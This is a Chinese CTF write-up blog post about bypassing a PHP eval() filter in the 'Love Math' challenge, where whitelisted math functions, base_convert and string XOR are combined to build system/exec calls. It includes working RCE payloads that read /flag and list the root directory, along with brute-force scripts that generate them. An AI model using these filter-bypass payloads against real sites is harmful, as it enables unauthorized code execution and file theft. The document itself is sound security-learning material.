php利用math函数rce相关思考与理解

Sl0th Lv4

php利用math函数rce相关思考与理解

0x00题目背景

来自2019国赛love math,以及[NESTCTF 2019]Love Math 2,两题的区别在于对payload的长度限制不同

相关过滤

长度限制

1
2
3
4
$content = $_GET['c'];
if (strlen($content) >= 60) {//国赛限制80
die("太长了不会算");
}

黑名单特殊字符

1
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

白名单函数(都为math函数)

1
2
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); //提取payload中函数名及变量名

php参考手册中提到,用于匹配php有效变量名,可以使用正则[a-zA-Z_/x7f-/xff][a-zA-Z0-9_/x7f-/xff]* 因此payload中若使用变量,命名必须在白名单函数中选择,如果是数组索引也可以用纯数字(不符合变量名命名法则)

利用点

1
eval('echo '.$content.';');

eval函数参数若是字符串,必须符合php代码语法,因此可以插入多行代码

0x01 利用math函数构造函数名

进制转换–获取小写字母

利用到进制转换,从11进制到36进制均有小写字母,在保证转换结果简洁及纯数字的情况下,选择36进制转10进制(36进制含a-z)

1
2
3
4
//先反向
echo base_convert("cat",36,10);//15941
//这样就可以用纯数字通过三十六进制转换得到纯字母字符串了
echo base_convert(15941,10,36);//cat

字符串异或–获取特殊字符及其组合

异或性质

  1. 结合律a ^ b ^ c = a ^ c ^ b
  2. 交换律a ^ b = b ^ a
  3. 数值交换(能交换 a 与 b 的值)a = a ^ b; b = a ^ b; a = a ^ b;
  4. a^b^b=a

php字符串异或分为两种情况

  • 长度一致的字符串异或,对应字符各自转换成ascii码值异或后得到新字符,组成新字符串

    1
    echo "tan"^"*\/";//^=A
  • 长度不一致的字符串异或,按最短的字符串长度按位异或

    1
    echo "tan"^"*";//^

异或字符串可以构造出新字符,但只用白名单的函数名的话,大多是ascii码值接近的小写字母,异或后得到的也多是ascii码值小的不可见字符,不够全面。

因此可以利用a^b^b=a这个性质,将a看作要获取的特殊字符,b为白名单函数名异或组合,靠脚本爆破出可以通过进制转换表示的a^b

1
2
3
4
5
6
7
8
9
10
11
//爆破脚本
<?php
$whitelist1 = ['abs','...', 'tanh'];
$whitelist2 = [ 'abs','...', 'tanh'];//与whitelist1相同
foreach ($whitelist1 as $i):
foreach ($whitelist2 as $k):
echo $k^$i^" /";//a^b
echo " " . $i . " " . $k;
echo "\n";
endforeach;
endforeach;

输出结果说明

1
2
3
4
16   tanh exp //意思是" /"^tanh^exp="16"
//因此要想得到" /"只要
dechex(22)^tanh^exp //即" /"^tanh^exp^tanh^exp=" /"^0=" /"
hexdec(10)^tanh^exp//也可以

注意⚠️

  • 不能直接16^tanh^exp ,这样的16会被当作int型数据处理,使用进制转换函数可以转成string类型,同时选取的数值转成16进制不能有字母。

  • 根据长度不一致字符串异或的运算规则,白名单中最短的是pi,因此特殊字符组合尽量不超过两个,如果一定要更长的特殊字符组合,要删除白名单中较短的函数名,不然得到的结果都是截断的,而特殊字符组合越长,白名单中可用函数名也就越少,出现纯数字结果的可能性也越低,这也是为什么这里不能直接构造system('cat /flag' )

缺点

一旦将特殊字符改成大写字母或与下划线的组合,输出中几乎没有纯数字结果。

引入数字字符串的异或–构造下划线和大写字母组合

上面的异或结果可以归纳成特殊字符组合^白名单函数1^白名单函数2=纯数字字符串

因此可以合理推测纯数字字符串^白名单函数1^白名单函数2=特殊字符组合

纯字符串如果用dechex的方式转换,非常浪费payload长度,可以利用字符串拼接时类型转换的特性。

1
2
$i=(1).(2);
var_dump($i);//string(2) "12"

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = ['abs', '...', 'tanh'];
for($k=0;$k<sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;//$i $j字符串拼接得到"00"-"99"
echo($payload[$k]."^$i$j"."==>$exp");
echo "\n";
}
}
}

由于pi的存在,构造出来的组合都是两个字符,会惊喜地发现大多数为下划线和大写字母组合。

1
2
结果中 tanh^15==>ET is_nan^64==>_G 
因此构造 (is_nan^(6).(4)).(tan^(1).(5)) 正是 "_G"."ET" ,即 "_GET"

再根据PHP可变变量的特性

1
2
$pi=(is_nan^(6).(4)).(tan^(1).(5));//_GET
$$pi{1};//$_GET[1]

{}可以代替[],这样就可以通过get传参数,缩短payload长度

$_GET[1]接收的数值会转换成字符串,因此即使拼接到了代码中也无法执行

1
1

2
2

因此需要像eval这样的函数执行字符串php代码

1
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;base_convert(42633,19,33)($pi{1})&1=system('cat /flag');

也可以利用php可变函数的特性:($a)[system]($_GET[1]) –>php会将$_GET[1]的内容当作参数传入system函数执行。$a只要求是个变量,在这题的背景下可以用$pi

1
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

0x02 payload缩短技巧

通过外部传参数

  • 使用$_GET[1],索引选择最简短且符合题目要求的数字1,系统命令通过1传参,不占有payload

  • 使用getallheaders获取请求头信息,将索引设成1,将获取header中key为1的value,再将这个结果传入exec函数,但这个payload较长,超过60字符

    1
    2
    3
    4
    $pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
    //base_convert(696468,10,36) -> exec
    //base_convert(8768397090111664438,10,30) -> getallheaders
    //exec(getallheaders(){1})

穷举进制转换

如果要得到flag字符串,10进制转36进制需要数字为727432,有6位,而通过脚本穷举+正则匹配筛选可以发现32进制转22进制时,只需要4位数字就可以得到flag

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$payload="flag";
$num=0;
for($i=0;$i<strlen($payload);$i++){
$tmp=substr($payload,$i,1);
$a=ord($tmp)-ord('a');
if($a>$num)
$num=$a;
}
$res="";
for($i=11+$num;$i<=36;$i++) {
for($j=10;$j<=36;$j++) {
$res.= $i . ' ' . $j . ' ' . base_convert($payload, $i, $j)."\n";
}
}
$a=0;
for($i=strlen($payload);$i<2*strlen($payload);$i++){
$a=preg_match('/\d{2}\s\d{2}\s\d{'.$i.'}\n/',$res,$mc);
if($a==1) {
var_dump($mc);
break;
}
}

image-20220809211543165
image-20220809211543165

base_convert(5648,32,22)-->'flag'

0x03 一些尝试

花括号

上面的payload几乎都使用了花括号来访问数组,如果题目过滤了花括号,那么是否可以在保证长度尽可能小的情况下,构造无花括号payload

PHP7.4不再能够使用花括号来访问数组 或者字符串的偏移.需要将{}修改成[] (本题环境为7.3.9)

4
4

无花括号payload

由于传入的是字符串,反引号不能被识别为系统命令执行,因此使用名称较短的exec函数

1
exec('ls');

但是这样就不能外部传入命令来节省payload,因此要求执行的命令足够短,这里使用nl命令

linux下执行nl /*扫描根目录,会打印根目录下所有文件,不会目录向下递归

6
6

nl [参数] [文件]

nl命令是一个很好用的编号过滤工具。该命令可以读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。

1
2
3
4
5
aff   rad2deg sin //`nl
16 exp tan // /
9f cos pi //*`

(dechex(2815)^rad2deg^sin).((1).(6)^exp^tan).(dechex(159)^cos^pi) //`nl /*`
1
2
3
ca   abs log //nl
164 exp tan // /*
(dechex(202)^abs^log).(hexdec(a4)^exp^tan) //nl /*

用上面的穷举脚本找出最适合的进制转换exec

1
2
array(1) { [0]=> string(12) "34 23 22950"}
base_convert(22950,23,34) //exec

无花括号payload

长度:70

1
base_convert(22950,23,34)((dechex(202)^abs^log).((1).(6).(4)^exp^tan))

7
7

本地php7.4以上也能成功执行(但是php8以后有个fatal error 不能使用未定义常量,直接用函数名异或的时候会识别成常量)

9
9

不过这边尝试了下带花括号的,似乎也能成功,花括号只在php8以后才被定义为Fatal error

11
11

12
12

  • 标题: php利用math函数rce相关思考与理解
  • 作者: Sl0th
  • 创建于 : 2022-01-20 23:29:13
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/01/20/php利用math函数rce相关思考与理解/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论